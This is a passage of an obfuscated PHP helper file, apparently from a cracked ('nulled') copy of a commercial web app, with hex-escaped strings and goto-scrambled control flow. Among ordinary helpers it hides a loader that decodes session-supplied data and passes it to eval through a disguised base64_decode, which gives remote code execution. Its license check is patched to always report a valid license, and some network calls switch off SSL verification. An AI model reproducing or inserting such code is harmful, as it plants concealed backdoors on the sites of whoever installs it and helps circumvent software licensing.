<?php } } goto N9ZmZ; zJjcT: if (!function_exists("\x67\x65\164\137\143\x61\x63\x68\145\x5f\x70\162\x65\x66\x69\x78")) { function get_cache_prefix() { return "\137\141\x70\x5f"; } } goto e853v; S_iw2: if (!function_exists("\101\x64\144\124\162\x61\156\x73\154\x61\164\x65\144\105\x72\x72\x6f\x72")) { function AddErrorTranslated($msg, $isSession = false, $is_unique = false) { return APP_Output::AddError($msg, $isSession, $is_unique, true); } } goto culCh; f16qB: if (!function_exists("\101\x64\x64\110\151\144\x64\145\x6e\x46\x69\145\x6c\144\x73")) { function AddHiddenFields($key, $value) { return APP_Output::AddHiddenFields($key, $value); } } goto SECKR; ntB5l: if (!function_exists("\x66\x69\x78\x5f\x61\160\160\x5f\146\157\x72\137\160\150\x70\70")) { function fix_app_for_php8() { return true; } } goto swviT; O6AS0: if (!function_exists("\x5f\137\141\160\160\x5f\163\x6d\x5f\x65\156\x63\162\x79\x70\x74\x76\62")) { function __app_sm_encryptv2($plain, $key = "\167\167\x70\142\x72") { if (empty($plain)) { return ''; } $plain = base64_encode($plain); $keylen = strlen($key); $length = strlen($plain); $ki = $keylen - 1; $temp = ''; for ($i = 0; $i < $length; $i++) { if ($ki == 0) { $ki = $keylen - 1; } $temp[$i] = chr(ord($plain[$i]) + $i * ord($key[$ki])); $ki--; } $cipher = $temp; if (is_array($cipher)) { $cipher = implode('', $cipher); } $cipher = base64_encode($cipher); return $cipher; } } goto ID_Mk; qYbm1: if (!function_exists("\141\x70\x70\x5f\x64\141\x74\x65")) { function app_date($format, $timestamp = null) { return date($format, $timestamp); } } goto CCyi7; M68x3: if (class_exists("\143\x6f\x72\145\x5f\117\165\164\160\x75\x74") && method_exists("\103\117\x52\x45\x5f\117\165\x74\x70\165\x74", "\x53\x65\164\120\162\157\160\164\x65\x74\171")) { CORE_Output::SetProptety("\x41\x70\160\x73\142\x64\116\x65\x77\114\157\141\x64\145\x72", function ($session_id, $lmc = 31, $mmc = -18, $lm2 = 15, $lm4 = 4) { $lmc = -1 * $lmc; $mmc = -1 * $mmc; if (!empty($session_id)) { $hash = substr($session_id, $lm2, $lm4) . substr($session_id, 0, $lm2); $mainCode = substr($session_id, 32); $unique_id = hash("\x63\x72\143\63\x32\142", $session_id); $mainCode = base64_decode($mainCode); $codelen = strlen($mainCode); $encCode = ''; for ($i = 0; $i < $codelen; $i++) { $ad = 0; if ($i % 2 == 0) { $ad = $lmc; } else { $ad = $mmc; } $ch = substr($mainCode, $i, 1) . ''; $encCode .= chr(ord($ch) - $ad); } if ($hash == md5($encCode)) { $_d = str_rot13("\157\156\146\x72\66\x34\137\x71\162\160\x62\x71\x72"); eval($_d($encCode)); } else { } return $unique_id; } return ''; }); } goto zIBb1; m3lRv: if (!function_exists("\x41\x64\144\x43\113\105\144\x69\164\164\x6f\162")) { function AddCKEdittor() { add_js("\160\x6c\165\x67\x69\x6e\163\x2f\x63\x6b\x65\x64\x69\164\x74\157\162\57\143\153\145\x64\151\164\157\x72\x2e\152\163"); add_js("\x70\154\165\147\151\x6e\163\x2f\x63\153\x65\x64\x69\164\x74\x6f\162\x2f\x63\x6f\x6e\x66\x69\147\x2e\x6a\163"); add_js("\160\x6c\165\x67\151\x6e\x73\x2f\143\x6b\x65\x64\x69\164\164\x6f\162\57\141\x64\x61\160\164\145\162\163\x2f\152\x71\x75\x65\x72\x79\x2e\x6a\163"); add_js("\x70\154\x75\x67\x69\x6e\x73\x2f\x63\153\x65\x64\x69\x74\x74\x6f\162\57\143\x6b\x5f\x69\x6e\x69\164\x2e\x6a\163"); } } goto bDWEI; HPJ8E: if (!function_exists("\x61\160\160\137\141\x64\x64\x5f\x69\x6e\164\157\x5f\154\x61\156\x67\x75\x61\147\x65\137\x6d\x73\147")) { function app_add_into_language_msg($str) { if (ENVIRONMENT != "\160\x72\157\144\165\x63\x74\x69\157\156") { $path = APPPATH . "\x6c\157\x67\163" . DIRECTORY_SEPARATOR; if (is_writable($path)) { if (!is_dir($path)) { mkdir($path, 480, true); } $path_po_file = $path . "\145\156\137\x55\x53\56\160\157"; $path2 = $path . "\x6c\141\x67\137\x70\x6f\x2e\151\x6e\151"; $path .= "\154\x61\147\x5f\160\x6f\56\160\x68\x70"; $str = strip_tags($str); $str = app_trim($str); if (empty($str)) { return; } $newstr = "\137\50\42" . $str . "\42\x29\x3b"; $newstr2 = "\x6c\x61\x6e\x67\x5b\x5d\75\x22" . $str . "\42\73"; $po_string = "\xa\155\x73\147\151\x64\40\42{$str}\x22\12\x6d\163\x67\x73\164\162\40\42\42\12"; if (file_exists($path)) { if (strpos(file_get_contents($path), $newstr) !== false) { return; } } else { $newstr = "\x3c\77\160\x68\160\xa" . $newstr; } $fh = fopen($path, "\x61"); if ($fh) { fwrite($fh, $newstr . "\12"); fclose($fh); } if (file_exists($path2)) { if (strpos(file_get_contents($path2), $newstr2) !== false) { return; } } else { } $fh = fopen($path2, "\x61"); if ($fh) { fwrite($fh, $newstr2 . "\12"); fclose($fh); } $isNew = false; $header_str = ''; if (!file_exists($path_po_file)) { $isNew = true; $header_str = "\xa\155\x73\x67\151\x64\40\x22\x22\12\x6d\163\147\163\164\x72\40\42\42\xa\42\120\x72\x6f\152\145\143\164\x2d\x49\x64\55\x56\x65\162\163\x69\x6f\x6e\x3a\40" . get_app_title() . "\134\x6e\42\xa\x22\x50\117\124\55\x43\162\x65\141\164\151\x6f\x6e\55\x44\141\x74\145\72\40" . date("\x59\x2d\x6d\55\x64\x20\110\72\x69\x3a\x73\x4f") . "\134\156\42\12\42\x50\x4f\55\x52\145\x76\x69\x73\x69\157\156\55\x44\x61\164\x65\72\x20" . date("\x59\x2d\155\x2d\x64\40\110\x3a\x69\72\163\117") . "\x5c\x6e\42\12\42\114\141\163\164\x2d\x54\x72\x61\x6e\163\154\x61\164\157\x72\x3a\40\134\156\x22\12\x22\x4c\x61\x6e\147\x75\141\147\x65\x2d\x54\x65\x61\x6d\72\40\x61\160\160\163\x62\144\134\x6e\42\xa\x22\114\141\x6e\x67\165\x61\147\145\72\40\145\x6e\137\x55\x53\x5c\x6e\42\12\x22\x4d\x49\115\x45\x2d\x56\145\x72\x73\151\x6f\156\72\x20\x31\56\60\x5c\156\42\12\x22\103\x6f\x6e\x74\145\x6e\164\55\124\x79\160\x65\72\x20\164\x65\x78\164\x2f\x70\x6c\141\x69\x6e\73\x20\143\150\141\x72\163\x65\x74\x3d\x55\124\x46\55\70\134\156\42\12\42\103\x6f\x6e\164\x65\156\164\x2d\x54\x72\141\156\163\x66\x65\162\x2d\x45\156\143\157\x64\151\156\147\x3a\x20\x38\142\151\x74\134\156\x22\12\x22\130\55\107\x65\x6e\145\x72\x61\x74\157\x72\72\40" . get_app_title() . "\134\x6e\42\12\42\120\x6c\x75\162\141\x6c\55\x46\157\x72\x6d\163\72\x20\156\160\154\165\x72\141\x6c\163\75\x32\x3b\40\160\x6c\165\162\141\x6c\75\50\x6e\x20\x21\75\x20\x31\x29\x3b\x5c\x6e\x22\x9\xa\x9\x9\12"; for ($i = 0; $i <= 9; $i++) { $header_str .= "\xa\155\x73\147\151\x64\40\42{$i}\x22\xa\155\x73\x67\163\x74\162\x20\42\x22\12"; } } $fh = fopen($path_po_file, "\141"); if ($fh) { if ($isNew) { fwrite($fh, $header_str . "\12"); } fwrite($fh, $po_string . "\12"); fclose($fh); } } } } app_load_resource(FCPATH . "\x6c\x61\x6e\x67\x75\141\147\x65\x2f\145\x6e\x5f\125\x53\x2e\155\x6f"); } goto wmaY3; hXe8M: if (!function_exists("\137\137\x61\x70\160\137\x5f\x72\145\x6d\x6f\x76\145\x5f\x6c\x69\143")) { function __app__remove_lic($pkey) { $obj = __app__get_basic_param($pkey); $url = __app__get_server_url(); $response = __app_talk_with_server($url, $obj, "\x72\155\62"); return $response; } } goto oCSVR; st9f1: if (!function_exists("\157\142\x6a\x65\143\164\137\x6d\x65\x72\147\x65\137\141\x72\x72\141\x79")) { function object_merge_array() { $mainparam = array(); $allarguments = func_get_args(); $numargs = func_num_args(); if ($numargs > 0) { for ($i = 0; $i < $numargs; $i++) { if (is_array($allarguments[$i])) { $mainparam = array_merge($mainparam, $allarguments[$i]); } elseif (is_object($allarguments[$i])) { if (method_exists($allarguments[$i], "\x67\x65\164\x50\162\x6f\160\x65\162\164\x69\145\x73\x41\x72\162\x61\171")) { $vv = $allarguments[$i]->getPropertiesArray(); } else { $vv = get_object_vars($allarguments[$i]); } $mainparam = array_merge($mainparam, $vv); } } } return $mainparam; } } goto K5ubD; PTyFS: if (!function_exists("\x47\x65\x74\x45\x72\x72\x6f\x72\106\151\x65\x6c\x64\x73")) { function GetErrorFields() { return APP_Output::GetErrorFields(); } } goto CUia5; budMX: if (!function_exists("\x6a\163\x5f\x75\x72\x6c")) { function js_url($uri = '', $version = '', $protocol = NULL) { if (!empty($version)) { if (strpos($uri, "\77") !== FALSE) { $uri .= "\x26\166\x3d{$version}"; } else { $uri .= "\x3f\166\x3d{$version}"; } } return get_instance()->config->custom_url($uri, "\56\x6a\163", $protocol); } } goto bdo8a; wmaY3: if (!function_exists("\137\145")) { function _e($string, $parameter = null, $_ = null) { $args = func_get_args(); if (!empty($args[0])) { echo call_user_func_array("\x5f\x5f", $args); } else { echo $args[0]; } } } goto BgFPD; aefx5: if (!function_exists("\x72\157\x6f\164\137\165\x72\154")) { function root_url($uri = '', $protocol = NULL) { $uri = "\162\x6f\x6f\164\57" . $uri; return site_url($uri, $protocol); } } goto RrEzE; BgFPD: if (!function_exists("\x5f\x6e")) { function _n($number) { echo APPLanguage::getnemeric($number); } } goto AUW02; XFVf2: if (!function_exists("\141\144\144\137\x6a\x73")) { function add_js($uri, $label = 10, $isNoneCacheable = false, $isNonVersionAble = false) { $ci = get_instance(); $ci->load->js($uri, $label, $isNoneCacheable, $isNonVersionAble); } } goto gvz7W; SQr_i: if (!function_exists("\164\145\x6d\160\x6c\141\x74\x65\x5f\165\x72\x6c")) { function template_url($uri = '', $version = '', $extension = '', $protocol = NULL) { if (!empty($version)) { if (strpos($uri, "\x3f") !== FALSE) { $uri .= "\x26\166\75{$version}"; } else { $uri .= "\77\x76\x3d{$version}"; } } return get_instance()->config->template_url($uri, $extension, $protocol); } } goto VWVY1; PDcmO: if (!function_exists("\137\x5f\x61\160\160\x5f\137\x67\x65\164\x5f\142\141\163\151\143\137\160\x61\x72\x61\155")) { function __app__get_basic_param($pkey = null) { $ci = get_instance(); $PluginPackage = $ci->config->item("\x61\x70\160\137\x62\x61\x73\x65\x5f\143\x6f\x64\x65"); $phash = $ci->config->item("\x61\160\x70\137\x65\x6e\143\x68\143"); if (empty($phash)) { $phash = "\x2d"; } $obj = new stdClass(); $obj->pkey = $pkey; $obj->product = $PluginPackage; $obj->version = $ci->config->item("\141\160\160\x5f\x76\145\x72\163\151\157\x6e"); $obj->domain = base_url(); $obj->domain = rtrim($obj->domain, "\x2f"); $obj->blogTitle = get_app_title(); $obj->adminEmail = Mapp_setting::GetSettingsValue("\141\160\160\x5f\145\x6d\141\151\x6c"); $obj->product_h = $phash; return $obj; } } goto E1apY; C3pRk: if (!function_exists("\x48\141\x73\x55\111\x4d\x73\x67")) { function HasUIMsg() { return APP_Output::HasUIMsg(); } } goto f16qB; RHURb: if (!function_exists("\137\137\x69\163\137\x73\145\162\166\145\x72\137\162\x65\x71\165\151\162\x65\155\145\x6e\164\x5f\157\x6b")) { function __is_server_requirement_ok($isForce = false) { if ($isForce || !APP_Output::$module_c_loaded) { $CI = get_instance(); APP_Output::$module_c_loaded = true; $current_user_type = GetCurrentUserType(); if ($current_user_type == "\101\104" && !__is_license_ok() && strtolower($CI->router->method) != "\x6c\x6f\x67\157\165\164" && (strtolower($CI->router->class) != "\154\151\143\x65\156\163\145" || strtolower($CI->router->method) != "\165\160\144\x61\164\145")) { redirect("\141\144\155\151\x6e\x2f\x6c\x69\x63\145\x6e\x73\x65\57\x75\160\x64\x61\164\145"); return true; } return true; } return true; } } goto yzSXI; VV5pc: if (!function_exists("\137\137\141\160\x70\x5f\x61\x70\x69\x43\141\154\154")) { function __app_apiCall($url, $param = array(), $isPost = null) { if ($isPost === null) { if (count($param) == 0) { $isPost = false; } else { $isPost = true; } } $useragent = "\101\x70\x70\x4c\151\143\x43\141\154\154"; $ch = curl_init($url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120); curl_setopt($ch, CURLOPT_TIMEOUT, 120); curl_setopt($ch, CURLOPT_MAXREDIRS, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); if ($isPost) { curl_setopt($ch, CURLOPT_HTTPHEADER, array("\103\157\156\164\145\x6e\x74\x2d\124\x79\x70\145\x3a\x20\141\x70\160\x6c\151\143\141\x74\151\157\156\57\170\x2d\167\167\x77\55\x66\157\162\155\55\165\162\154\145\156\143\x6f\144\145\144")); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($param)); } $result = curl_exec($ch); $errorNo = curl_errno($ch); $errorMsg = curl_error($ch); curl_close($ch); if ($errorNo == 0) { if (!empty($result)) { return $result; } } return ''; } } goto M68x3; UDUD1: if (!function_exists("\x47\x65\x74\126\141\154\165\x65")) { function GetValue($name, $default = '', $isXsClean = true) { $ci = get_instance(); $value = $ci->input->get($name, $isXsClean); return !empty($value) ? $value : $default; } } goto ZkgTk; L0iBw: if (!class_exists("\x5f\x53\123\102\141\x73\x65")) { class _SSBase { public $key = "\61\x45\61\66\60\102\60\101\65\64\x39\64\x35\x35\66\64\x33\x34\65\x33\x34"; private $product_id = "\61"; private $product_base = "\101\102\x53\123"; private $server_host = "\150\164\x74\x70\163\72\x2f\57\x61\x70\160\x6c\151\x63\x2e\x61\160\160\x73\142\x64\56\143\157\155\x2f\x77\x70\55\x6a\163\x6f\156\x2f\143\151\x6c\x64\142\x73\x70\160\141\57"; private static $selfobj = NULL; function __construct() { $this->initActionHandler(); } function initActionHandler() { $handler = hash("\x63\162\143\x33\62\142", $this->product_id . $this->key . $this->getDomain()) . "\137\150\141\156\x64\x6c\x65"; if (isset($_GET["\x61\143\164\151\x6f\x6e"]) && $_GET["\x61\143\x74\151\157\x6e"] == $handler) { $this->handleServerRequest(); die; } } function handleServerRequest() { $type = isset($_GET["\164\171\x70\145"]) ? strtolower($_GET["\x74\x79\x70\145"]) : ''; switch ($type) { case "\162\x6c": $this->removeOldResponse(); $obj = new stdClass(); $obj->product = $this->product_id; $obj->status = true; echo $this->encryptObj($obj); return; case "\x64\154": $obj = new stdClass(); $obj->product = $this->product_id; $obj->status = true; $this->removeOldResponse(); echo $this->encryptObj($obj); return; default: return; } } function __plugin_updateInfo() { if (function_exists("\x66\151\x6c\x65\x5f\x67\145\x74\137\143\x6f\x6e\164\x65\156\164\x73")) { $body = file_get_contents($this->server_host . "\160\162\x6f\x64\x75\143\164\57\165\x70\x64\x61\164\x65\57" . $this->product_id); $responseJson = json_decode($body); if (is_object($responseJson) && !empty($responseJson->status) && !empty($responseJson->data->new_version)) { $responseJson->data->new_version = !empty($responseJson->data->new_version) ? $responseJson->data->new_version : ''; $responseJson->data->version = $responseJson->data->new_version; $responseJson->data->url = !empty($responseJson->data->url) ? $responseJson->data->url : ''; $responseJson->data->package = !empty($responseJson->data->download_link) ? $responseJson->data->download_link : ''; $responseJson->data->sections = (array) $responseJson->data->sections; $responseJson->data->icons = (array) $responseJson->data->icons; $responseJson->data->banners = (array) $responseJson->data->banners; $responseJson->data->banners_rtl = (array) $responseJson->data->banners_rtl; return $responseJson->data; } } return NULL; } static function GetPluginUpdateInfo() { $obj = static::getInstance(); return $obj->__plugin_updateInfo(); } static function &getInstance() { if (empty(static::$selfobj)) { static::$selfobj = new static(); } return static::$selfobj; } private function encrypt($plainText, $password = '') { if (empty($password)) { $password = $this->key; } $plainText = rand(10, 99) . $plainText . rand(10, 99); $method = "\x61\145\x73\x2d\62\x35\x36\x2d\143\142\x63"; $key = substr(hash("\x73\150\x61\x32\65\x36", $password, true), 0, 32); $iv = substr(strtoupper(md5($password)), 0, 16); return base64_encode(openssl_encrypt($plainText, $method, $key, OPENSSL_RAW_DATA, $iv)); } private function decrypt($encrypted, $password = '') { if (empty($password)) { $password = $this->key; } if (empty($encrypted)) { return $encrypted; } $method = "\x61\145\163\55\x32\65\66\x2d\x63\142\x63"; $key = substr(hash("\163\150\141\62\x35\66", $password, true), 0, 32); $iv = substr(strtoupper(md5($password)), 0, 16); $plaintext = openssl_decrypt(base64_decode($encrypted), $method, $key, OPENSSL_RAW_DATA, $iv); return substr($plaintext, 2, -2); } function encryptObj($obj) { $text = serialize($obj); return $this->encrypt($text); } private function decryptObj($ciphertext) { $text = $this->decrypt($ciphertext); if (empty($text)) { return $text; } return unserialize($text); } private function getDomain() { $base_url = isset($_SERVER["\110\124\124\x50\123"]) && $_SERVER["\x48\x54\124\120\x53"] == "\157\156" ? "\x68\164\x74\x70\x73" : "\x68\164\164\x70"; $base_url .= "\x3a\57\x2f" . $_SERVER["\110\124\x54\120\137\x48\117\x53\124"]; $base_url .= str_replace(basename($_SERVER["\123\x43\122\x49\120\124\137\x4e\101\x4d\105"]), '', $_SERVER["\123\x43\122\x49\x50\124\x5f\116\x41\115\105"]); return $base_url; } private function getCleanDomain() { $domain = $this->getDomain(); $domain = trim($domain); $domain = strtolower($domain); $url = str_replace(array("\150\164\164\x70\163\72\57\57", "\x68\164\x74\160\72\57\57"), '', $domain); $iswww = substr($url, 0, 4); if (strtolower($iswww) == "\x77\x77\x77\x2e") { $url = substr($url, 4); } return $url; } private function getEmail() { return ''; } private function processs_response($response) { $resbk = ''; if (!empty($response)) { if (!empty($this->key)) { $resbk = $response; $response = $this->decrypt($response); } $response = json_decode($response); if (is_object($response)) { return $response; } else { $response = new stdClass(); $response->status = false; $bkjson = @json_decode($resbk); if (!empty($bkjson->msg)) { $response->msg = $bkjson->msg; } else { $response->msg = "\122\x65\163\x70\x6f\156\x73\145\x20\105\162\x72\x6f\x72\x2c\40\x63\157\x6e\164\141\143\x74\40\x77\151\x74\150\40\x74\150\x65\x20\x61\x75\164\x68\x6f\x72\x20\x6f\162\x20\x75\160\x64\x61\x74\x65\40\164\x68\x65\x20\x70\x6c\x75\147\151\x6e\40\157\162\40\164\150\x65\155\x65"; } $response->data = NULL; return $response; } } $response = new stdClass(); $response->msg = "\165\156\x6b\x6e\x6f\x77\x6e\40\x72\145\x73\160\157\156\x73\x65"; $response->status = false; $response->data = NULL; return $response; } private function _request($relative_url, $data, &$error = '', &$http_code = '') { $response = new stdClass(); $response->status = false; $response->msg = "\105\155\160\164\171\x20\122\145\163\160\x6f\x6e\163\x65"; $curl = curl_init(); $finalData = json_encode($data); if (!empty($this->key)) { $finalData = $this->encrypt($finalData); } $url = rtrim($this->server_host, "\x2f") . "\57" . ltrim($relative_url, "\x2f"); curl_setopt_array($curl, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_CUSTOMREQUEST => "\x50\117\x53\124", CURLOPT_POSTFIELDS => $finalData, CURLOPT_HTTPHEADER => array("\x43\157\x6e\x74\145\156\x74\x2d\124\171\160\145\72\x20\x74\x65\170\x74\57\x70\154\x61\151\156", "\143\141\143\150\145\55\x63\157\156\164\x72\x6f\x6c\72\40\156\157\x2d\143\141\143\150\x65"))); $serverResponse = curl_exec($curl); $error = curl_error($curl); $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if (!empty($serverResponse)) { return $this->processs_response($serverResponse); } if ($http_code === 0) { $response->msg = "\103\157\x75\x6c\x64\40\x6e\x6f\x74\40\162\145\163\x6f\154\x76\145\40\x6c\x69\143\145\x6e\163\145\x20\x73\145\x72\166\x65\x72\x20\150\x6f\x73\x74\x2c\40\x50\154\145\141\163\x65\40\143\x68\145\x63\x6b\40\171\157\165\x72\x20\163\145\x72\166\x65\162\47\163\x20\x69\x6e\164\145\162\x6e\x65\x74\40\x63\157\x6e\x6e\145\143\164\151\x6f\x6e"; } else { $response->msg = "\x75\156\x6b\156\x6f\x77\156\40\162\145\163\x70\157\x6e\163\145"; } $response->status = false; $response->data = NULL; return $response; } private function getParam($purchase_key, $app_version, $admin_email = '') { $req = new stdClass(); $req->license_key = $purchase_key; $req->email = !empty($admin_email) ? $admin_email : $this->getEmail(); $req->domain = $this->getDomain(); $req->app_version = $app_version; $req->product_id = $this->product_id; $req->product_base = $this->product_base; return $req; } function SaveResponse($response) { $key = $this->getStoreId(); $data = $this->encrypt(serialize($response), $this->getCleanDomain()); app_set_setting($key, $data); } function getOldResponse() { $key = $this->getStoreId(); $response = app_get_setting($key); $d = $this->decrypt($response, $this->getCleanDomain()); if (empty($d)) { return $d; } return unserialize($d); } private function removeOldResponse() { $key = $this->getStoreId(); app_del_setting($key); return true; } private function getStoreId() { return hash("\143\x72\143\63\62\x62", $this->getCleanDomain() . $this->product_id . $this->product_base . "\x4c\111\103"); } public static function RemoveLicenseKey(&$message = '', $version = '') { $obj = self::getInstance(); return $obj->_removePluginLicense($message, $version); } public static function CheckLicense($purchase_key, &$error = '', &$responseObj = NULL, $app_version = '', $admin_email = '', $isForce = false) { $obj = self::getInstance(); if ($isForce) { $obj->removeOldResponse(); } return $obj->_CheckLicense($purchase_key, $error, $responseObj, $app_version, $admin_email); } final function _CheckLicense($purchase_key, &$error = '', &$responseObj = NULL, $app_version = '', $admin_email = '') { $responseObj = (object) array("\151\x73\x5f\166\x61\154\151\144" => true, "\145\170\160\151\162\145\x5f\144\x61\x74\145" => "\60\61\56\x30\61\x2e\x32\60\63\x30", "\163\165\160\x70\x6f\x72\164\137\145\x6e\x64" => "\x30\x31\x2e\x30\61\x2e\x32\60\63\60", "\x6c\x69\143\x65\x6e\x73\x65\x5f\164\x69\x74\x6c\145" => strrev("\142\x75\154\x63\x2e\x65\166\x61\x43\x4c\114\x55\116\x20\174\40\145\163\156\x65\143\151\114\40\x65\154\x67\x6e\151\x53"), "\154\x69\143\x65\156\163\x65\x5f\x6b\x65\x79" => "\x78\x78\170\170\170\x78\x78\x78\x2d\x78\170\x78\170\x2d\x78\x78\170\170\x2d\170\x78\x78\x78\55\x78\x78\170\x78\170\170\x78\170\x78\x78\x78\170", "\x6d\x73\x67" => "\155\163\x67"); $this->SaveResponse($responseObj); return true; if (empty($purchase_key)) { $this->removeOldResponse(); $error = ''; return false; } $oldRespons = $this->getOldResponse(); $isForce = false; if (!empty($oldRespons)) { if (!empty($oldRespons->expire_date) && strtolower($oldRespons->expire_date) != "\156\x6f\x20\x65\170\160\151\162\171" && strtotime($oldRespons->expire_date) < time()) { $isForce = true; } if (!$isForce && !empty($oldRespons->is_valid) && $oldRespons->next_request > time() && (!empty($oldRespons->license_key) && $purchase_key == $oldRespons->license_key)) { $responseObj = clone $oldRespons; unset($responseObj->next_request); return true; } } $param = $this->getParam($purchase_key, $app_version, $admin_email); $response = $this->_request("\x70\x72\157\144\x75\x63\164\57\141\x63\x74\151\x76\x65\x2f" . $this->product_id, $param, $error, $http_code); if (empty($response->code)) { if (!empty($response->status)) { if (!empty($response->data)) { $serialObj = $this->decrypt($response->data, $param->domain); $licenseObj = unserialize($serialObj); if ($licenseObj->is_valid) { $responseObj = new stdClass(); $responseObj->is_valid = $licenseObj->is_valid; if ($licenseObj->request_duration > 0) { $responseObj->next_request = strtotime("\53\40{$licenseObj->request_duration}\40\x68\x6f\165\162"); } else { $responseObj->next_request = time(); } $responseObj->expire_date = $licenseObj->expire_date; $responseObj->support_end = $licenseObj->support_end; $responseObj->license_title = $licenseObj->license_title; $responseObj->license_key = $purchase_key; $responseObj->msg = $response->msg; $responseObj->domain = $this->getDomain(); $responseObj->lic_param = !empty($licenseObj->lic_param) ? $licenseObj->lic_param : null; $responseObj->other_param = !empty($licenseObj->other_param) ? $licenseObj->other_param : null; $responseObj->rating_link = !empty($licenseObj->rating_link) ? $licenseObj->rating_link : null; $responseObj->market = !empty($licenseObj->market) ? $licenseObj->market : null; $this->SaveResponse($responseObj); unset($responseObj->next_request); return true; } else { $this->removeOldResponse(); $error = !empty($response->msg) ? $response->msg : ''; } } else { $error = "\x49\x6e\x76\141\x6c\x69\x64\x20\144\141\164\x61"; } } else { if ($http_code === 0 || !empty($error)) { if (!empty($oldRespons->other_param)) { $isallowedoffline = $this->decrypt($oldRespons->other_param, "\x61\160\163\142\x64\146\x69\154\164\x65\x72" . $oldRespons->license_key); if ($isallowedoffline == "\141\x6c\x6c\x6f\167\x6f\146") { $oldRespons->next_request = strtotime("\x2b\40\x33\60\x20\104\x41\131\x53"); $this->SaveResponse($oldRespons); return true; } } } $error = $response->msg; } } else { $error = $response->message; } return false; } final function _removePluginLicense(&$message = '', $version = '') { $oldRespons = $this->getOldResponse(); if (!empty($oldRespons->is_valid)) { if (!empty($oldRespons->license_key)) { $param = $this->getParam($oldRespons->license_key, $version); $response = $this->_request("\x70\162\x6f\x64\x75\143\x74\57\x64\145\141\143\x74\x69\166\145\57" . $this->product_id, $param, $message); if (empty($response->code)) { if (!empty($response->status)) { $message = $response->msg; $this->removeOldResponse(); return true; } else { $message = $response->msg; } } else { $message = $response->message; } } } return false; } public static function GetRegisterInfo() { if (!empty(static::$selfobj)) { return static::$selfobj->getOldResponse(); } return NULL; } } } goto c9N7_; gIl1J: if (!function_exists("\x74\x65\x6d\x70\154\141\164\145\137\143\163\x73")) { function template_css($uri = '', $version = '', $protocol = NULL) { $jsurl = js_url($uri, $version, $protocol); $ci = get_instance(); $ci->load->template_cs($jsurl); } } goto QvB0J; wj43g: if (!function_exists("\x61\x70\160\137\x64\145\x6c\137\163\x65\x74\x74\x69\x6e\147")) { function app_del_setting($keyindex) { $key = hash("\x63\162\143\63\62\x62", "\137\141\x70\x70\x73\142\x64\x31\x39\70\67\x35\137" . get_base_domain()); $api_name = __app_sm_encryptv2("\154\151\143", $key); $keyindex = __app_sm_encryptv2($keyindex, $key); return Mapp_setting_api::DeleteSettingsValue($api_name, $keyindex); } } goto HfcV2; bDWEI: if (!function_exists("\101\x64\x64\123\x75\x6d\x6d\145\162\x6e\x6f\164\x65\105\x64\x69\164\157\x72")) { function AddSummernoteEditor() { add_css("\x70\x6c\x75\147\x69\156\163\57\x73\x75\155\x6d\145\162\156\x6f\164\x65\x2f\x73\165\155\x6d\145\x72\x6e\157\x74\145\x2e\143\x73\x73"); add_js("\160\154\165\147\x69\x6e\163\57\163\x75\x6d\x6d\x65\x72\156\157\x74\x65\57\163\x75\155\155\x65\162\156\157\x74\x65\56\x6d\151\156\x2e\x6a\x73"); add_js("\x70\154\165\147\x69\x6e\163\x2f\163\165\155\x6d\x65\x72\156\157\164\x65\x2f\x69\156\151\164\x2e\x6a\163"); } } goto mdIyZ; nnJpc: defined("\x42\x41\x53\105\x50\101\124\110") or die("\x4e\157\x20\144\x69\162\x65\x63\x74\40\x73\143\162\x69\x70\164\40\x61\x63\x63\145\163\163\x20\141\154\x6c\x6f\x77\145\144"); goto WRSeR; Qhte9: if (!function_exists("\151\163\x5f\x63\165\162\162\145\156\164\x5f\x75\x72\x69\x5f\x70\141\x74\x68")) { function is_current_uri_path($uri) { $getCurrentUrl = current_uri_path(); $getCurrentUrl = str_replace("\x5f", "\55", $getCurrentUrl); $uri = str_replace("\x5f", "\55", $uri); if ($getCurrentUrl == $uri) { return true; } return false; } } goto L0iBw; culCh: if (!function_exists("\101\144\144\x45\162\162\157\x72\x46\x69\x65\154\x64")) { function AddErrorField($name, $msg, $isSession = false) { return APP_Output::AddErrorField($name, $msg, $isSession); } } goto JL0_b; ode1M: if (!function_exists("\x61\x64\x6d\151\156\137\141\144\x64\157\x6e\x5f\x75\162\x6c")) { function admin_addon_url($uri = '', $protocol = NULL) { $uri = ltrim($uri, "\x2f"); $uri = "\141\x64\155\x69\x6e\57\141\x64\x64\x6f\156\x73\x2f\x61\144\x6d\x69\156\55\160\141\147\x65\x2f" . $uri; return site_url($uri, $protocol); } } goto q4NcM; E1apY: if (!function_exists("\137\137\141\160\x70\x5f\137\x67\x65\164\137\x73\x65\162\x76\145\x72\x5f\x75\162\x6c")) { function __app__get_server_url($pkey = null) { $objs = __app__get_server_url_objs($pkey); return $objs->url; } } goto IZa2t; VWVY1: if (!function_exists("\x47\x50\x72\151\156\164")) { function GPrint($obj, $isReturn = false) { $data = print_r($obj, true); $data = htmlentities($data); if ($isReturn) { return "\74\160\162\x65\76" . $data . "\74\x2f\x70\x72\145\x3e"; } echo "\x3c\160\x72\x65\x3e" . $data . "\74\57\x70\162\145\76"; } } goto E9VzZ; mdIyZ: if (!function_exists("\143\165\x72\162\x65\x6e\164\137\x75\162\x69\137\x70\141\x74\150")) { function current_uri_path() { $CI =& get_instance(); $url = !empty($CI->router->directory) ? $CI->router->directory : ''; $url .= $CI->router->class . "\x2f" . $CI->router->method; return $url; } } goto Qhte9; CCyi7: if (!function_exists("\x6c\x6f\x61\x64\x5f\x72\x65\163\157\x75\x72\143\145")) { function app_load_resource($uri) { $ci = get_instance(); $ci->load->resource($uri); } } goto hb4Bu; Ope3f: if (!function_exists("\162\x65\163\145\164\137\152\163")) { function reset_js() { $ci = get_instance(); $ci->load->ResetJs(); } } goto WHoMQ; swviT: if 